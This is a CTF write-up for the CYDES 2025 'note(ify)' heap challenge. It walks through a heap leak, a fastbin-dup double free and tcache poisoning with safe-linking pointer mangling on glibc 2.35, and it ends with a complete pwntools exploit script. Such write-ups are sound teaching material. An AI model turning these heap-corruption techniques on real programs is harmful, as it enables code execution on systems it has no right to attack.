CYDES 2025: note(ify)
TL;DR
Double Free (Fastbin Dup) into Tcache Poisoning to achieve arbitrary write (Write-What-Where).
Challenge Overview
This challenge has a classic heap exploitation menu that allows us to add a note - malloc()
with a fixed size of 0x30
, view the contents of a note - printf()
, and delete the note - free()
.

There’s also a hidden fifth option that basically calls the win()
function to get code execution. To trigger it, the count
variable has to be exactly 0x1337
.

The goal is to overwrite the count
variable, which lives in the .bss
section. It’s a global variable - objdump
shows it with a g
flag, which confirms that.

Inspecting GLIBC Protections
We were given a Dockerfile as well, so we can find out which version of LIBC this challenge is using. This can be done by building the image and extracting the LIBC in use.

It uses GLIBC 2.35, which implements a double-free detection in the tcache.
kali@JesusCries: ~/Desktop/CTF/CYDES2025/pwn/note(ify)
» sudo docker run -it --rm --name noteify --entrypoint sh cydes
# ls
a.out flag-3d657172c90e9c2db0889a685dcd6267.txt
# ldd a.out
linux-vdso.so.1 (0x00007ffe3a9fc000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7ad00f9000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7ad0327000)
# readlink -f /lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
kali@JesusCries: ~/Desktop/CTF/CYDES2025/pwn/note(ify)
» sudo docker create cydes
f760140e6ebd0ac8c180672c1552a5e3e5bb2b5ed76241ed43d5a7269e0bb1d9
kali@JesusCries: ~/Desktop/CTF/CYDES2025/pwn/note(ify)
» sudo docker cp f760140e6ebd0ac8c180672c1552a5e3e5bb2b5ed76241ed43d5a7269e0bb1d9:/lib/x86_64-linux-gnu/libc.so.6 ~/Desktop/libc-2.27.so
Successfully copied 2.22MB to /home/kali/Desktop/CTF/CYDES2025/pwn/note(ify)/libc.so.6
kali@JesusCries: ~/Desktop/CTF/CYDES2025/pwn/note(ify) ✘ IOT
» strings libc.so.6 | grep glibc
glibc 2.35
...
It even detects the double-free if we try to free another chunk in between. This behaviour is explained in this article under "Tcache double free mitigation post glibc-2.28". To get around this, we can avoid tcache entirely and perform the double-free on the fastbins instead.

Stage 1: Heap Leak
First, we need to leak the heap base address. We'll use it to mangle and demangle pointers before putting them into the free list—this is necessary for overwriting the forward pointer during the double-free to get an arbitrary write.
This is required since "safe-linking" was introduced from GLIBC 2.32 onwards. We can derive the mangling/demangling logic from the original source of GLIBC:
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr)
((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
Getting a heap leak is fairly easy - We first create two new notes, then immediately delete the first one, causing the program to call free()
, and then use the view
option to leak the contents of the free chunk. The note content contains the tcache_key
which gives us our heap leak.
add(0, b"AAAA")
add(1, b"BBBB")
delete(0)
delete(1)
view(0)
p.recvuntil(b"here you go: ")
leak = u64(p.recvuntil(b"1. add")[:2].ljust(8, b"\x00")) << 12
info("Leaked Heap Base: %#x", leak)
This happens due to the following behaviour explained over here:
struct tcache_entry {
uint64_t* next;
uint64_t* tcache_key; // Pointer to the tcache_struct (== to the base of the heap)
}
In GDB, we can see that the fd
pointer of the free note at index 0 points to the heap base address.
Stage 2: Double Free
As mentioned earlier, double-free protections can be bypassed by targeting fastbins instead of tcache — this technique is commonly referred to as Fastbin Dup. To do that, the tcache bins need to be filled up first, since tcache normally takes priority over fastbins for the same size.
# Fill up Tcache to avoid double_free detection
for i in range(9):
add(i, b"JUNK")
for i in range(7):
delete(i)
# Double Free on fastbins
delete(7)
delete(8)
delete(7)
In GDB, the fastbin free list now shows the same address appearing twice, confirming that the double-free succeeded.
Since there are 7 unwanted chunks sitting in the tcache bins, malloc()
needs to be called 7 times first to clear them out.
# Due to fast fit, malloc will now allocate chunks from tcache first,
# which is why we will need to exhaust all the freed chunks from tcache
# before we can force the allocator to take freed chunks from fastbins
for i in range(7):
add(i, b"JUNK")
At this point, any subsequent malloc()
will pull from the fastbin list, which now includes the poisoned address.

Stage 3: Tcache Poisoning
A new note is allocated at index 7, which now ends up being both allocated and free at the same time. Writing to its content ends up overwriting the fd
pointer, letting us point it to the target address—in this case, the address of the count
variable.
write_where = mangle(elf.sym["count"], leak)
add(7, p64(write_where))
info("Writing: %#x", write_where)
However, when we do that, we receive this error that derives from this source code:

According to this article, we have to make sure that the address that we try to allocate is a good address for malloc() to accept, and this usually involves selecting a nearby address that ends with 0.
Since PIE is not enabled, let's select the address 0x404040
.
write_where = mangle(0x404040, leak)
add(7, p64(write_where))
info("Writing: %#x", write_where)
Running the script again confirms in GDB that fd
has been successfully overwritten as intended.
Inspecting the bin lists shows that the target address 0x404040
is now sitting in the tcache bin.

Since the next two allocations aren’t useful, they can be quickly exhausted. The third allocation is the important one — it returns a chunk that sits exactly at the target address.
add(8, b"CCCC")
add(9, b"DDDD")
Finally, arbitrary data can be written to the target address. In this case, 0x1336
is used as the note content, since calling add()
afterward increments the counter by 1 — ending up with the required 0x1337
.
To reach the &counter
variable during the write, 12 bytes of padding (0xc
of junk data) is needed, as the variable sits 12 bytes away from our arbitrary write.
add(10, b"A"*0xc + p64(0x1336))
Solution
#!/usr/bin/python
from pwn import *
import warnings
warnings.filterwarnings("ignore",category=BytesWarning)
elf = context.binary = ELF('./a.out_patched', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'
libc = ELF("./libc.so.6")
p = elf.process()
rop = ROP(elf)
def add(i, data):
p.sendlineafter(b"choice: ", "1")
p.sendlineafter(b"index: ", str(i))
p.send(data)
def view(i):
p.sendlineafter(b"choice: ", "2")
p.sendlineafter(b"index: ", str(i))
def delete(i):
p.sendlineafter(b"choice: ", "3")
p.sendlineafter(b"index: ", str(i))
def mangle(address, base):
return (base >> 12) ^ address
if __name__ == "__main__":
# Stage 1: Leak Heap Address
add(0, b"AAAA")
add(1, b"BBBB")
delete(0)
delete(1)
view(0)
p.recvuntil(b"here you go: ")
leak = u64(p.recvuntil(b"1. add")[:2].ljust(8, b"\x00")) << 12
#leak = unpack(p.recvuntil(b"1. add")[:2].ljust(8, b"\x00"))
info("Leaked Heap Base: %#x", leak)
# Stage 2: Double Free
# Fill up Tcache to avoid double_free detection
for i in range(9):
add(i, b"JUNK")
for i in range(7):
delete(i)
# Double Free on fastbins
delete(7)
delete(8)
delete(7)
# Due to fast fit, malloc will now allocate chunks from tcache first,
# which is why we will need to exhaust all the freed chunks from tcache
# before we can force the allocator to take freed chunks from fastbins
for i in range(7):
add(i, b"JUNK")
# Stage 3: Tcache Poisoining
write_where = mangle(0x404040, leak)
#write_where = elf.sym["count"] - 0xc + leak
add(7, p64(write_where))
info("Writing: %#x", write_where)
add(8, b"CCCC")
add(9, b"DDDD")
add(10, b"A"*0xc + p64(0x1336))
p.sendlineafter(b"choice: ", "5")
p.interactive()

References
Last updated